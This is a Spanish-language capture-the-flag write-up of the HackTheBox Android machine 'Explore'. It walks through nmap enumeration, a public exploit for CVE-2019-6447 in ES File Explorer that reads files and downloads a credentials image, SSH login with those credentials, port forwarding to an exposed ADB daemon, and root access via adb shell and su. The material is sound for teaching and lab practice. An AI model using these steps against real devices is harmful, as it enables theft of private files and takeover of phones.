HackTheBox - Explore
Creado
Máquina Android nivel fácil. Exploraremos como ningún explorador e.e Veremos imágenes de la galería 😧 y jugaremos con el demonio :o Android Debug Bridge.
TL;DR (Spanish writeup)
Creada por: bertolis.
La exploración insana.
Nos encontraremos con la app ES File Explorer
siendo ejecutada en el celular, explorando tendremos que es vulnerable a una lectura arbitraria de archivos, jugando con ella veremos una imagen con unas credenciales del usuario kristi
, usando SSH
lograremos una sesión en el celuko.
Internamente tendremos el puerto 5555
activo, jugando con un redireccionamiento de puertos lograremos testear cositas como si fuéramos nosotros quienes estuviéramos corriendo el puerto.
Explorando en internet sabremos que sobre ese puerto se ejecuta un demonio 😳 llamado ADB (Android Debug Bridge)
en Android, volviendo a explorar lograremos obtener una Shell como root
gracias a que estamos corriendo el sistema Android en un entorno de “pruebas” (debug).
…
Clasificación de la máquina según la gentesita
Un poco juguetona, directa y en general tiene cositas reales, peeero también “cositas” (guiño)
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.
…
Souvenir…
…
Reconocimiento #
…
Enumeración de puertos con nmap 📌
No por ser un sistema operativo nuevo vamos a cambiar nuestro enfoque, nop e.e, vamos a ver primero que puertos tiene abiertos la máquina, así sabemos por donde debemos empezar a direccionar nuestros pensamientos, usaremos nmap
para eso:
❱ nmap -p- --open -v 10.10.10.247 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Con ese escaneo obtenemos:
# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.247
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.247 () Status: Up
Host: 10.10.10.247 () Ports: 2222/open/tcp//EtherNetIP-1///, 42135/open/tcp/////, 46677/open/tcp/////, 59777/open/tcp/////
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 95.86 seconds
Puerto | Descripción |
---|---|
2222 | Ethernet/IP: (Ethernet = Protocolo que permite la conexión entre dispositivos pero en este caso del sector industrial (IP = Industrial Protocol)). |
42135 | No lo tenemos claro aún. |
46677 | No lo tenemos claro tampoco. |
59777 | Tamos igual, no sabemos que esta corriendo aún acá. |
Listones, ya conociendo los puertos vamos a profundizar un toque más, así podemos descubrir la versión de cada servicio y si alguno de los scripts por default de nmap
detecta algo nuevo:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.10.247
[*] Open ports: 2222,42135,46677,59777
[*] Ports copied to clipboard
)~
❱ nmap -p 2222,42135,46677,59777 -sC -sV 10.10.10.247 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y este escaneo nos muestra:
# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p 2222,42135,46677,59777 -sC -sV -oN portScan 10.10.10.247
Nmap scan report for 10.10.10.247
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
46677/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:33:55 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Mon, 23 Aug 2021 14:33:55 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Mon, 23 Aug 2021 14:34:00 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:34:16 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:34:00 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:34:16 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:34:16 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Mon, 23 Aug 2021 14:34:16 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.80%I=7%D=8/23%Time=6123B07C%P=x86_64-pc-linux-gnu%r(NU
...
...cositasvariaslajlksjdfklajslfkdjluaioew
...
Service Info: Device: phone
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 109.84 seconds
Tenemos algunas cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
2222 | SSH | SSH-2.0 |
- Un texto bastante curioso:
Banana Studio
.
Puerto | Servicio | Versión |
---|---|---|
42135 | HTTP | ES File Explorer Name Response httpd |
59777 | HTTP | Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older |
Bien, de nuestro escaneo inicial ya pasamos a algo muuucho más entendible y tenemos cositas para revisar, así que empecemos a explorar.
…
Enumeración #
…
Viendo que hay sobre el puerto 42135 📌
El escaneo nos indicó que ES File Explorer esta sobre un servidor web, pues investiguemos:
📖 ES File Explorer es una cómoda herramienta para la gestión de archivos y aplicaciones. ¿ES File Explorer?
F, no hay nada, peeeero responde, con lo cual esta funcionando…
…
Explotación #
Buscando en la web ES File Explorer Name Response
de primeras nos encontramos un exploit:
Si nos fijamos es un exploit algo reciente, lo cual es llamativo, podemos inspeccionarlo…
La explotación la enfoca sobre el puerto 59777
, que curiosamente también es un puerto que tenemos abierto 😮 así que probémoslo y si nos sirve detallamos un poco sobre que explota.
❱ python3 esFILExplorer_fileRead.py
USAGE esFILExplorer_fileRead.py <command> <IP> [file to download]
Recibe un comando y la dirección IP donde esté corriendo el puerto 59777
:
❱ python3 esFILExplorer_fileRead.py whoami 10.10.10.247
No podemos ejecutar cualquier comando, solo los que nos lista, veamos la lista de archivos:
❱ python3 esFILExplorer_fileRead.py listFiles 10.10.10.247
OPAAAA, es funcional y estamos viendo los archivos del sistema Android. La petición es muy sencilla y viaja así, solo pasamos la data en formato JSON
y nuestro comando en la etiqueta "command"
:
Y lo que hace el script es darle un formato “lindo” para mostrarlo…
Antes de seguir veamos un poquito de la vuln:
El CVE relacionado es CVE-2019-6447
, del cual tenemos esta descripción según incibe-cert:
🗃️ La aplicación ES File Explorer File Manager hasta la versión 4.1.9.7.4
para Android permite que los atacantes remotos lean archivos arbitrarios o ejecuten aplicaciones mediante peticiones al puerto TCP 59777 en la red wifi local. Este puerto TCP se mantiene abierto después de que la aplicación ES se haya abierto una vez y responde a datos de la application/json
no autenticados por HTTP. CVE-2019-6447
:o Acá encontramos otra referencia:
Loco loco, pues sigamos explorando el contenido del celular a ver queeeeeee…
Encontramos credenciales en una foto 📌
Al listar las imágenes (listPics
) notamos un archivo con un nombre algo llamativo:
❱ python3 esFILExplorer_fileRead.py listPics 10.10.10.247
¿La ves? 👀
Hay un archivo con nombre creds.jpg
, el exploit nos da la posibilidad de descargar el archivo (o también podríamos hacerlo con cURL
, ya que al hacer una petición hacia él se ve tooooooodo el contenido del mismo, lo único a indicarle es que ese contenido lo guarde en un objeto), así que intentémoslo:
❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247
...
[+] Include file name to download.
❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247 creds.jpg
...
[-] You need to provide full path of the file.
Al listar las imágenes había una etiqueta llamada location
, esa es la ruta absoluta del objeto y es la que nos pide:
❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg
Listones, guardao’:
❱ file out.dat
out.dat: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=12, manufacturer=Apple, model=iPhone XR, orientation=upper-right, xresolution=174, yresolution=182, resolutionunit=2, software=14.4, datetime=2021:03:06 02:13:37, hostcomputer=iPhone XR, GPS-Data], comment: "Optimized by JPEGmini 3.18.2.210033067-TBTBLN 0x905c306b", baseline, precision 8, 4032x3024, components 3
(Tamos jugando con un iPhone XR e.e) Le cambiamos su nombre al real:
❱ mv out.dat creds.jpg
o con cURL
:
❱ curl -H "Content-Type: application/json" http://10.10.10.247:59777/storage/emulated/0/DCIM/creds.jpg -o creds.jpg
Y ahora visualicémoslo… (Hay varias maneras para hacerlo desde la terminal, les dejo la tarea :P)
WHAAAAAAAAAAAAAAAAAAAAAAAT!! Tenemos realmente lo que parecen ser unas credencialeeeeeeeeees, el usuario kristi
y su contraseña… A probarlaaaas.
Recordemos que tenemos abierto el puerto 2222
el cual esta corriendo el servicio SSH
(que nos permite obtener una Shell en un sistema de manera segura) pues validémoslas ahí:
❱ ssh kristi@10.10.10.247 -p 2222
Listoooooooooooones, estamos dentro del sistema como un usuario llamado u0_a76
(:
…
Escalada de privilegios #
Enumerando los puertos (servicios) que están corriendo internamente encontramos:
:/ $ netstat -a
Active Internet connections (established and servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
...
tcp6 0 0 :::2222 :::* LISTEN
tcp6 0 0 :::5555 :::* LISTEN
tcp6 0 0 :::42135 :::* LISTEN
...
tcp6 0 0 :::59777 :::* LISTEN
tcp6 0 0 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.8:49408 ESTABLISHED
...
Hay 3 puertos que ya vimos antes, pero el puerto 5555
es nuevo, para ver que contiene podemos hacer un port-fortwarding con ayuda de SSH
para indicarle que redireccione el puerto 5555
interno contra uno de nuestra máquina. Así tendríamos el contenido de ese puerto sobre uno nuestro y podemos jugar como si nosotros estuviéramos sirviendo ese puerto (:
❱ ssh kristi@10.10.10.247 -p 2222 -L 5555:localhost:5555
Entonces, le indicamos la conexión normal por SSH, pero además que tome el puerto 5555
del localhost
y lo direccione hacia el puerto 5555
pero de nuestro sistema, validémoslo:
❱ lsof -i:5555
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 491545 root 4u IPv6 2244122 0t0 TCP localhost:5555 (LISTEN)
ssh 491545 root 5u IPv4 2244123 0t0 TCP localhost:5555 (LISTEN)
Perfecto, ya lo tenemos en nuestro sistema, ahora si podemos jugar con él.
Usemos nmap
para ver que esta corriendo ese puerto:
❱ nmap -p 5555 -sC -sV localhost -oN port5555Scan
Y obtenemos:
# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p 5555 -sC -sV -oN port5555Scan localhost
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
5555/tcp open freeciv?
| fingerprint-strings:
| adbConnect:
| CNXN
|_ device::ro.product.name=android_x86_64;ro.product.model=VMware Virtual Platform;ro.product.device=x86_64;features=cmd,stat_v2,shell_v2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5555-TCP:V=7.80%I=7%D=8/23%Time=61242486%P=x86_64-pc-linux-gnu%r(ad
...
...
...
SF:hell_v2");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 94.78 seconds
nmap no esta seguro, pero nos indica que posiblemente sea un servicio llamado freeciv
, si buscamos en internet sobre él encontramos:
🎮 Freeciv
es un videojuego de estrategia. Es software libre gratuito y está incluido en numerosas distribuciones Linux.
Jmmmm, sigamos investigando…
Si hacemos una búsqueda tipo: port 5555 android
en la web, llegamos a varios recursos que hablan del demonio Android Debug Bridge (ADB)
corriendo sobre ese puerto, suena mejor, profundicemos…
📱 Android Debug Bridge (adb) es una herramienta de línea de comandos versátil que te permite comunicarte con un dispositivo. El comando adb permite realizar una variedad de acciones en el dispositivo, como instalar y depurar apps, y proporciona acceso a un Shell de Unix que puedes usar para ejecutar distintos comandos en un dispositivo. developer.android.com
Ufff una herramienta bien llamativa pa nosotros. En el mismo post nos indican su uso, para conectarnos al dispositivo ejecutamos:
(Si no la tienen instalada: apt install adb
)
❱ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555
Para validar los dispositivos conectados:
❱ adb devices
List of devices attached
127.0.0.1:5555 device
Perfecto, funciona!
En la misma guía nos indica que para interactuar con el sistema podemos usar adb shell <comandos>
, veamos que usuario somos:
❱ adb shell whoami
shell
:o somos el usuario shell
, ahora intentemos spawnear una Shell :P
❱ adb shell /bin/sh
Perfeeeeeeecto…
(Intentando poner la terminal linda vemos en el manual de adb
que simplemente ejecutando adb shell
(sin argumentos) nos spawnea una Shell interactiva que de linda poco, pero al menos sabemos en qué parte debemos escribir 😁)
Ahora a enumerar…
Después de un rato vemos que podemos leer prácticamente lo mismo que con el anterior usuario :/ así que tamos F.
Buscando en internet port 5555 android exploit
vemos cositas locaaas:
En los dos hacen el mismo proceso (quitando el fortwarding) y obtienen la Shell con adb shell
, lo único llamativo es que indican que ejecutando directamente su
obtienen una sesión como root
, esto debido a que la versión de Android en la que están es la llamada AOSP (Android Open Source Project)
que esta construida en modo “debug” (como entorno de pruebas).
Pues podemos probar nosotros a ver queeee:
OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKLSDJFLkhadslkf, pos también estamos en ese entorno (: Y somos root…
Buscando y buscando encontramos las flags:
Y hemos terminado de mover cosas dentro del iPhone, ahora a revisar nuestro celular para validar que no tengamos alguien buscando flags 😳
…
Bonita experiencia, la explotación inicial de ES File Explorer
me gusto mucho y a la vez me dio miedito, suuuuuuuuuuper sencillo el ver los objetos del celular con esa vuln :o
Nos seguiremos leiendo por ahí e.e, toma agua, descansa los ojos, pero pilas, a seguir rompiendo de TODO!!
Comments